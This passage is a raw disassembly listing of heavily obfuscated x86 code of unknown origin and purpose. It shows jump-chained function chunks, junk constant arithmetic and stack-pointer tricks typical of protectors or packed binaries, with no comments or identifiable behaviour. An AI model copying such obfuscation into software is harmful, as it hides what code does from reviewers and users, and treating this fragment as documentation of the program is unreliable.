		sub	bp, ax
		pop	ax
		push	eax
		mov	ax, 2699h
		jmp	loc_5A8A99
; ---------------------------------------------------------------------------


loc_5A4691:				; CODE XREF: sub_5AA2D1-9FF2j
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A94D9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A46A8:				; CODE XREF: sdfs____:005AA9F4j
		add	ecx, esi
		sub	esp, 4
		jmp	loc_5A7CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5A46B2:				; CODE XREF: sub_5AD6D4-12593j
		mov	esp, [esp+4+var_4]
		imul	cx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_5ABC0E
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5A46C7:				; CODE XREF: sub_5A5B27+1Dj
		push	eax
		mov	eax, 7ABC5D5Bh
		not	eax
		jmp	loc_5AB467
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A46D4:				; CODE XREF: sub_5ADD33+109Aj
		mov	ebp, [esp+8+var_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A4318
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------


loc_5A46EB:				; CODE XREF: sdfs____:005AD77Dj
		add	esp, 2
		sub	al, 53h
		push	ecx
		jmp	loc_5A1A2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A46F9:				; CODE XREF: sub_59FE51+604Cj
		push	edx
		mov	edx, 4
		jmp	loc_5A3B68
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5A4704:				; CODE XREF: sub_5AD84A-119Fj
		sub	ecx, 74331501h
		push	ebx
		mov	ebx, 3FE45677h
		or	ebx, 285475CEh
		jmp	loc_5AE60B
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A471B:				; CODE XREF: sub_599117+F703j
		inc	edi
		add	edi, 35CE4DA6h
		add	edi, 5632AE18h
		sub	ebx, 5EB14EA1h
		add	ebx, edi
		jmp	loc_5A9A35
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A4735:				; CODE XREF: sub_5ABEF6+6j
		and	ebp, 68334BC9h
		jmp	loc_5A40C2
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_5A4740:				; CODE XREF: sub_59A4E8:loc_59B291j
		push	esi
		push	ebp
		mov	ebp, 0C9D5131h
		mov	esi, ebp
		jmp	loc_59D6DA
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A474E:				; CODE XREF: sub_5A63DC+1CF5j
		or	ebx, ecx
		pop	ecx
		neg	ebx
		jmp	loc_5991EB
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------


loc_5A4758:				; CODE XREF: sdfs____:005A59DAj
		push	8863145h
		mov	ecx, [esp]
		jmp	loc_59F59A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2065


loc_5A4765:				; CODE XREF: sub_5A2065+8j
		pop	ebp
		jmp	loc_5ACC21
; END OF FUNCTION CHUNK	FOR sub_5A2065
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A476B:				; CODE XREF: sub_59D6B8+EB9Bj
		xchg	ebp, [esp+18h+var_18]
		pop	esp
		inc	edx
		jmp	loc_5A6441
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_5A4775:				; CODE XREF: sub_5A600D-97A4j
		add	cl, dl
		jmp	loc_59D216
; END OF FUNCTION CHUNK	FOR sub_5A600D

; =============== S U B	R O U T	I N E =======================================



sub_5A477C	proc near		; CODE XREF: sub_5AC2C0-16AEj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0059920A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005995A1 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059B534 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059B675 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B701 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C325 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059C573 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059C767 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C803 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C918 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CB36 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D52C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D56B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D94B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D9D2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DAF8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059E228 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E496 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E88F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059EB9E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059EEC3 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0059EFFA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F16C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F64B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059F67F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F6CA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A00A9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A047A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A0AD3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A134B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1BB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1EB5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A245B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2656 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A2794 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A2BDD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A2C97 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A4075 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4207 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A433F SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A4857 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4A05 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A4DF6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5155 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A590A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A5B09 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A64C9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A6718 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A6A7E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A6F79 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A70B9 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A77AC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A7A01 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7A3C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A7A5E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7D81 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8085 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A894C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA6EA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AB9CB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ABA4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ABA87 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005ABE89 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC1F4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AD458 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AD4F9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD7AA SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AD9C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE326 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AE507 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AEBD7 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AED3B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AF3E5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005B0006 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005B0145 SIZE 0000000D BYTES

		push	ebx
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		push	[esp-14h+arg_10]
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_59C918
sub_5A477C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A478F:				; CODE XREF: sub_5A2E41+6670j
		xor	edi, 394DFA12h
		mov	edx, edi
		pop	edi
		mov	eax, edx
		pop	edx
		inc	eax
		shl	eax, 5
		add	eax, 582E62ECh
		xor	eax, 1A5416E8h
		sub	ebp, 0A73642Bh
		add	ebp, eax
		add	ebp, 0A73642Bh
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		or	ebx, 73E32550h
		jmp	loc_59BA9D
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A47CF:				; CODE XREF: sub_59EE3E+6419j
		add	esp, 4
		xor	ecx, 520223FFh
		jmp	loc_5A1298
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06DD


loc_5A47E0:				; CODE XREF: sub_5A06DD+4DCBj
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], edi
		push	0AC5h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	edi, [esp+4+var_4]
		add	esp, 4
		add	edi, 4
		jmp	sub_5AB207
; END OF FUNCTION CHUNK	FOR sub_5A06DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A480B:				; CODE XREF: sub_59D6B8+A2C9j
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		push	ebp
		jmp	loc_5A811D
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A4817:				; CODE XREF: sub_59A479:loc_59F9BDj
		jmp	loc_5ACA77
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5A481C:				; CODE XREF: sub_5ABB65-7B4Aj
		pop	esi
		add	esi, 4
		jmp	loc_5AD972
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A4828:				; CODE XREF: sub_5A7BA0-9B57j
					; sub_59E94B+DDDDj
		not	ebp
		not	ebp
		sub	ebp, 2A6B1CDCh
		inc	ebp
		xor	ebp, 13B1E2B3h
		sub	edi, ebp
		jmp	loc_5A8499
; END OF FUNCTION CHUNK	FOR sub_59E94B

; =============== S U B	R O U T	I N E =======================================



sub_5A4840	proc near		; CODE XREF: sub_5AFA26-DF6Fj
		push	ebx
		mov	ebx, 3A183923h
		sub	ebx, 574156E3h
		add	ebx, 33163057h
		jmp	loc_5A90A3
sub_5A4840	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A4857:				; CODE XREF: sub_5A477C+5F74j
		shl	edx, 3
		jnz	loc_5ABA4B
		jmp	sub_59F2D1
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
		pop	eax
		jmp	loc_5AD458
; ---------------------------------------------------------------------------
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5A486C:				; CODE XREF: sub_59B2E4+4F05j
		xor	edi, 56CA6EC1h
		push	2695h
		mov	[esp+10h+var_10], eax
		mov	eax, 5165CA3Ah
		sub	edi, eax
		jmp	loc_5AC72D
; END OF FUNCTION CHUNK	FOR sub_59B2E4

; =============== S U B	R O U T	I N E =======================================



sub_5A4886	proc near		; CODE XREF: sub_599117+10929j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059B1DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059BC9F SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0059FBEF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6AC4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6C2A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AFEFB SIZE 00000014 BYTES

		push	ebp
		jmp	loc_59FBEF
sub_5A4886	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4B1E


loc_5A488C:				; CODE XREF: sub_5A4B1E+3j
		mov	ecx, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], edi
		push	esp
		push	[esp+0Ch+var_C]
		pop	edi
		jmp	sub_5ADD33
; END OF FUNCTION CHUNK	FOR sub_5A4B1E

; =============== S U B	R O U T	I N E =======================================



sub_5A489F	proc near		; CODE XREF: sub_599F50+437j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005A8651 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005ACBF7 SIZE 00000008 BYTES

		push	ebx
		push	ecx
		mov	ecx, 4
		push	ecx
		jmp	loc_5A8651
sub_5A489F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0266


loc_5A48AC:				; CODE XREF: sub_5B0266-13FB3j
		add	eax, 4
		jmp	loc_5A1223
; END OF FUNCTION CHUNK	FOR sub_5B0266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5A48B6:				; CODE XREF: sub_5AD993-4477j
		mov	ebp, 0D157C070h
		xor	ecx, ebp
		jmp	loc_59DFC4
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A48C2:				; CODE XREF: sub_5AA2D1-4F96j
		mov	edx, 2E590EE5h
		or	edx, 49D206EDh
		add	edx, 9024F117h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5ACC75
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A48E1:				; CODE XREF: sub_59D6B8+1Dj
		push	edi
		push	ebx
		mov	ebx, 0EF14EA3h
		add	ebx, 2F3028E6h
		jz	sub_59A7E7
		push	ebp
		mov	ebp, 1AF37417h
		xor	ebx, ebp
		jmp	loc_5AB1F0
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A4901:				; CODE XREF: sub_59A7E7+B64Ej
		add	edx, 35924E3h
		sub	edx, 44C62DEAh
		xor	edx, 0FD10F4D2h
		add	ebp, edx
		jmp	loc_5A01EE
; END OF FUNCTION CHUNK	FOR sub_59A7E7

; =============== S U B	R O U T	I N E =======================================



sub_5A491A	proc near		; CODE XREF: sub_5AF2D9-1440Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D313 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059DA8F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A5FA6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A7E44 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC0FE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ACE36 SIZE 0000000C BYTES

		sub	esp, 4
		jmp	loc_5A5FA6
sub_5A491A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4922:				; CODE XREF: sub_5AA2D1-1063Bj
		add	[esp+arg_4], ebp
		pop	ebp
		add	[esp-4+arg_4], ebx
		push	45ACh
		mov	[esp+0], ebp
		mov	ebp, 50C574C4h
		sub	[esp+arg_4], ebp
		pop	ebp
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		pop	eax
		push	ebp
		jmp	loc_5AF684
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5A494A:				; CODE XREF: sub_59D4FD+3237j
		sub	esi, 32E967A7h
		add	esi, 4CE01FCAh
		pop	edx
		jmp	loc_5AE342
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A495C:				; CODE XREF: sub_59B4B1+10555j
					; sub_5AA2D1+450Bj
		add	esp, 4
		movzx	eax, al
		jmp	loc_5A9C98
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4967:				; CODE XREF: sub_5992DA+871Fj
		push	[esp+20h+var_22+2]
		push	[esp+24h+var_26+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5A5698
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4979:				; CODE XREF: sub_5AA2D1+5ECAj
		sub	edi, esi
		jmp	loc_59D336
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4980:				; CODE XREF: sub_5992DA+6018j
		add	ebx, ebp
		jmp	loc_599276
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4987:				; CODE XREF: sub_5AA2D1+1F8Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edi
		mov	edi, 0FF45A43h
		xor	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		push	402Fh
		mov	[esp-10h+arg_C], eax
		mov	eax, 7D9A06A0h
		shr	eax, 2
		xor	eax, 1F6681ACh
		add	esi, 34F2643Ah
		add	esi, eax
		sub	esi, 34F2643Ah
		pop	eax
		xor	esi, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], esi
		xor	esi, [esp-14h+arg_10]
		pop	esp
		and	ecx, esi
		push	[esp-18h+arg_14]
		pop	esi
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_59D639
		push	48CBh
		jmp	loc_5AAB33
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A49EA:				; CODE XREF: sub_5A16B8-68A9j
		mov	[esp+4+var_4], ebx
		jmp	loc_5AC466
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A49F2:				; CODE XREF: sub_5B01F7-A045j
		pop	esp
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		push	edi
		jmp	loc_5A7361
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A49FE:				; CODE XREF: sub_5AA2D1-E0EDj
		add	esi, ebp
		jmp	loc_5A0916
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A4A05:				; CODE XREF: sub_5A477C-922Dj
		pop	ecx
		not	ebx
		sub	ebx, 0C088B604h
		add	edi, 64DF298Ch
		push	eax
		mov	eax, 1177745Ah
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		jmp	loc_59EFFA
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5A4A27:				; CODE XREF: sub_5A4CF3+AECEj
		xor	[esp+0], ebx
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, [esp+0]
		push	dword ptr [esp+0]
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		push	296Dh
		mov	[esp+0], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+4+var_4]
		jmp	loc_5A18BC
; END OF FUNCTION CHUNK	FOR sub_5A4CF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599B07


loc_5A4A5C:				; CODE XREF: sub_599B07+8C0Ej
		pop	ebp
		add	ebp, 4
		jmp	sub_59CBE1
; END OF FUNCTION CHUNK	FOR sub_599B07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4A68:				; CODE XREF: sub_5992DA-5Cj
		mov	[esp+4+var_6+2], ecx
		mov	ecx, 3A32451Bh
		push	edx
		push	ecx
		mov	ecx, 1CF72C33h
		mov	edx, 3ADA0012h
		add	edx, ecx
		pop	ecx
		inc	edx
		push	eax
		push	ecx
		mov	ecx, 7BF35FCFh
		jmp	loc_59F376
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4A8C:				; CODE XREF: sub_5AA2D1+38CFj
		sub	edx, 0FB914DDCh
		jmp	loc_5AD178
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0327


loc_5A4A97:				; CODE XREF: sub_5A0327-1265j
		push	eax
		mov	ah, bl
		jmp	sub_5A8E92
; END OF FUNCTION CHUNK	FOR sub_5A0327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD336


loc_5A4A9F:				; CODE XREF: sub_5AD336+196Dj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5A01A1
; END OF FUNCTION CHUNK	FOR sub_5AD336
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4ABE:				; CODE XREF: sub_5992DA+406Bj
		pop	eax
		add	ebp, edi
		mov	edi, [esp+20h+var_22+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	[esp+20h+var_1C]
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1C]
		jmp	sub_5AA2D1
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2A15


loc_5A4AEC:				; CODE XREF: sub_5A2A15-8405j
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		ror	[esp-4+arg_0], cl
		pushf
		jmp	loc_5A6A5D
; END OF FUNCTION CHUNK	FOR sub_5A2A15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_5A4AFB:				; CODE XREF: sub_5A3B60-2279j
		mov	[esp+0], esi
		not	dword ptr [esp+0]
		pop	esi
		neg	esi
		sub	esi, 14605994h
		inc	esi
		jmp	loc_5AAD9D
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A765F


loc_5A4B10:				; CODE XREF: sub_5A765F-BC2Fj
		mov	cx, [esp-4+arg_0]
		push	0DF1h
		jmp	loc_5A0C48
; END OF FUNCTION CHUNK	FOR sub_5A765F

; =============== S U B	R O U T	I N E =======================================



sub_5A4B1E	proc near		; DATA XREF: sdfs____:00598FB0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A488C SIZE 00000013 BYTES

		push	dword ptr [esp+0]
		jmp	loc_5A488C
sub_5A4B1E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A4B26:				; CODE XREF: sub_5A5EFF-7824j
					; sub_5A913B-6FDAj
		dec	dh
		add	dh, 0FFh
		sub	esp, 4
		mov	[esp], eax
		mov	al, 92h
		sub	al, 0E1h
		add	al, 0AAh
		jmp	loc_59CE75
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0278


loc_5A4B3F:				; CODE XREF: sub_5A0278+4F38j
					; sub_5992DA+13980j
		sub	eax, ebx
		add	eax, 4F13055Eh
		pop	ebx
		jmp	loc_59FC40
; END OF FUNCTION CHUNK	FOR sub_5A0278
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4B4C:				; CODE XREF: sub_5AA2D1-22D4j
		pop	edx
		sub	edx, ebx
		mov	ebx, [esp-10h+arg_C]
		push	ebx
		jmp	loc_59F6EE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B22E


loc_5A4B58:				; CODE XREF: sub_59B22E+10j
		add	eax, ebx
		sub	eax, 2CBA30C8h
		push	1B92h
		mov	[esp+4+var_4], ebp
		mov	ebp, 5F5E698Fh
		sub	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 39CE664Bh
		push	edx
		mov	edx, 30142D47h
		shr	edx, 3
		shl	edx, 6
		xor	edx, 856444DCh
		sub	ebp, edx
		pop	edx
		jmp	sub_5AD993
; END OF FUNCTION CHUNK	FOR sub_59B22E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A4B8F:				; CODE XREF: sub_5AA2D1-7C80j
		sub	ecx, 4
		jmp	loc_5A14A8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A4B9A:				; CODE XREF: sub_5992DA+8AD5j
		or	edi, 2F12634Ch
		sub	edi, 6A0E4DBBh
		inc	edi
		xor	edi, 7DDA4726h
		jmp	loc_5A7238
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A4BB2:				; CODE XREF: sub_5A7BA0-B846j
		jmp	loc_5A55FC
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A4BB7:				; CODE XREF: sub_5A6BBC-9346j
		sub	cl, 0DFh
		jmp	loc_5A1A1D
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A4BBF:				; CODE XREF: sub_59C979+447Bj
					; sub_59EE3E+C017j
		pop	eax
		xor	dh, 56h
		push	edx
		mov	dh, 0D5h
		sub	al, dh
		pop	edx
		sub	al, dh
		jmp	loc_59D6E7
; ---------------------------------------------------------------------------


loc_5A4BD0:				; CODE XREF: sub_59C979+3565j
					; sub_59A26C+15A50j
		add	edx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		push	591Eh
		mov	[esp+0], esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


